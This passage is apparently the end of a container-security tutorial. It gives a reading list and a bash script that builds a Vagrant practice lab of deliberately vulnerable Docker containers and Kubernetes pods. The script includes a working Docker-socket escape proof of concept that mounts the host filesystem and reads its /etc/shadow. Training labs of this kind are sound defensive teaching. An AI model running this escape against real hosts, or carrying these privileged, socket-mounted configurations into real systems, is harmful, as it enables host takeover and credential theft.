- Understanding and Hardening Linux Containers (NCC Group)
- A Survey of Container Security (ACM Computing Surveys)
- Books
- Container Security by Liz Rice
- Kubernetes Security by Liz Rice and Michael Hausenblas
- Docker Security by Adrian Mouat
- Training
Build Your Own Container Security Lab
To practice these techniques safely:
#!/bin/bash
# setup_container_security_lab.sh - Create a comprehensive container security practice lab
echo "[+] Setting up Container Security Lab"
# Create a directory for the lab
mkdir -p ~/container-security-lab
cd ~/container-security-lab
# Create a Vagrantfile for isolated testing
cat > Vagrantfile << 'EOF'
Vagrant.configure("2") do |config|
config.vm.box = "ubuntu/focal64"
config.vm.hostname = "container-lab"
# Allocate resources
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "container-security-lab"
end
# Provision with Docker and Kubernetes tools
config.vm.provision "shell", inline: <<-SHELL
# Update and install dependencies
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
# Install Docker
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-get install -y docker-ce docker-ce-cli containerd.io
usermod -aG docker vagrant
# Install kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
mv kubectl /usr/local/bin/
# Install Minikube
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
chmod +x minikube-linux-amd64
mv minikube-linux-amd64 /usr/local/bin/minikube
# Create directory for lab files
mkdir -p /home/vagrant/lab
chown -R vagrant:vagrant /home/vagrant/lab
# Create vulnerable Docker containers
cat > /home/vagrant/lab/create_vulnerable_containers.sh << 'EOFINNER'
#!/bin/bash
# Create containers with various security issues for practice
# Container with Docker socket mounted
docker run -d --name docker-socket-container -v /var/run/docker.sock:/var/run/docker.sock ubuntu:20.04 sleep infinity
# Privileged container
docker run -d --name privileged-container --privileged ubuntu:20.04 sleep infinity
# Container with host path mounted
docker run -d --name host-mount-container -v /:/host:ro ubuntu:20.04 sleep infinity
# Container with capabilities added
docker run -d --name capabilities-container --cap-add SYS_ADMIN --cap-add SYS_PTRACE ubuntu:20.04 sleep infinity
# Container using host network
docker run -d --name host-network-container --network=host ubuntu:20.04 sleep infinity
# Container with AppArmor disabled
docker run -d --name apparmor-disabled-container --security-opt apparmor=unconfined ubuntu:20.04 sleep infinity
echo "Created vulnerable containers for testing:"
docker ps
EOFINNER
chmod +x /home/vagrant/lab/create_vulnerable_containers.sh
# Create Minikube setup script
cat > /home/vagrant/lab/setup_minikube.sh << 'EOFINNER'
#!/bin/bash
# Set up Minikube with vulnerable configurations
# Start Minikube
minikube start --driver=docker
# Create a vulnerable ServiceAccount with excessive permissions
kubectl create serviceaccount vulnerable-sa
kubectl create clusterrolebinding vulnerable-binding --clusterrole=cluster-admin --serviceaccount=default:vulnerable-sa
# Create a vulnerable Pod using the ServiceAccount
cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
spec:
serviceAccountName: vulnerable-sa
containers:
- name: vulnerable-container
image: ubuntu:20.04
command: ["sleep", "infinity"]
EOF
# Create a Pod with hostPath
cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostpath-pod
spec:
containers:
- name: hostpath-container
image: ubuntu:20.04
command: ["sleep", "infinity"]
volumeMounts:
- mountPath: /host
name: hostpath
volumes:
- name: hostpath
hostPath:
path: /
EOF
# Create a privileged Pod
cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: privileged-pod
spec:
containers:
- name: privileged-container
image: ubuntu:20.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
EOF
echo "Created vulnerable Kubernetes resources:"
kubectl get pods,sa
EOFINNER
chmod +x /home/vagrant/lab/setup_minikube.sh
# Create a README with instructions
cat > /home/vagrant/lab/README.md << 'EOFINNER'
# Container Security Lab
This lab contains deliberately vulnerable containers and Kubernetes resources for practicing container escape techniques.
## Docker Containers
Run the script to create vulnerable Docker containers:
./create_vulnerable_containers.sh
Then practice escape techniques on each container:
docker exec -it docker-socket-container bash docker exec -it privileged-container bash docker exec -it host-mount-container bash docker exec -it capabilities-container bash docker exec -it host-network-container bash docker exec -it apparmor-disabled-container bash
## Kubernetes Resources
Set up the Minikube cluster with vulnerable resources:
./setup_minikube.sh
Then practice Kubernetes-specific escapes:
kubectl exec -it vulnerable-pod – bash kubectl exec -it hostpath-pod – bash kubectl exec -it privileged-pod – bash
## Safety Warning
This lab is for educational purposes only. All vulnerable configurations should be restricted to this lab environment and never used in production.
EOFINNER
SHELL
end
EOF
echo "[+] Vagrantfile created"
# Create lab directories
mkdir -p exploits scripts resources
# Add a sample exploit
cat > exploits/docker_socket_escape.sh << 'EOF'
#!/bin/bash
# docker_socket_escape.sh - Simple Docker socket escape demo
echo "[+] Docker Socket Container Escape PoC"
if [ ! -S /var/run/docker.sock ]; then
echo "[-] Docker socket not found at /var/run/docker.sock"
exit 1
fi
echo "[+] Docker socket found, creating a privileged container"
CONTAINER_ID=$(curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"alpine:latest","Cmd":["/bin/sh","-c","sleep 30"],"Binds":["/:/hostfs"],"Privileged":true}' \
http://localhost/containers/create | grep -o '"Id":"[^"]*' | cut -d '"' -f 4)
if [ -z "$CONTAINER_ID" ]; then
echo "[-] Failed to create container"
exit 1
fi
echo "[+] Container created: $CONTAINER_ID"
echo "[+] Starting container"
curl -s -X POST \
--unix-socket /var/run/docker.sock \
http://localhost/containers/$CONTAINER_ID/start
echo "[+] Reading host's /etc/shadow file"
curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/hostfs/etc/shadow"]}' \
http://localhost/containers/$CONTAINER_ID/exec | grep -o '"Id":"[^"]*' | cut -d '"' -f 4 | xargs -I{} \
curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Detach":false,"Tty":false}' http://localhost/exec/{}/start
echo "[+] Cleaning up container"
curl -s -X DELETE --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID?force=true
echo "[+] Escape complete"
EOF
chmod +x exploits/docker_socket_escape.sh
# Create a start script
cat > start_lab.sh << 'EOF'
#!/bin/bash
echo "[+] Starting Container Security Lab"
vagrant up
echo "[+] Lab VM is running. Connect using: vagrant ssh"
echo "[+] Once connected, navigate to ~/lab and follow the README.md instructions"
EOF
chmod +x start_lab.sh
echo "[+] Lab setup complete! Start it with: ./start_lab.sh"
Final Thoughts
Container security is a rapidly evolving field. What makes container escape techniques fascinating is the balance between isolation and usability. Perfect security would render containers unusable for many real-world applications. This inherent tension creates a constantly shifting landscape of vulnerabilities and mitigations.
As you continue your container security journey, remember that both offensive and defensive perspectives are valuable. Understanding how to escape containers makes you better at securing them, and understanding proper container hardening makes you more effective at finding escape vectors.
Keep learning, stay curious, and always practice these techniques responsibly in controlled environments.
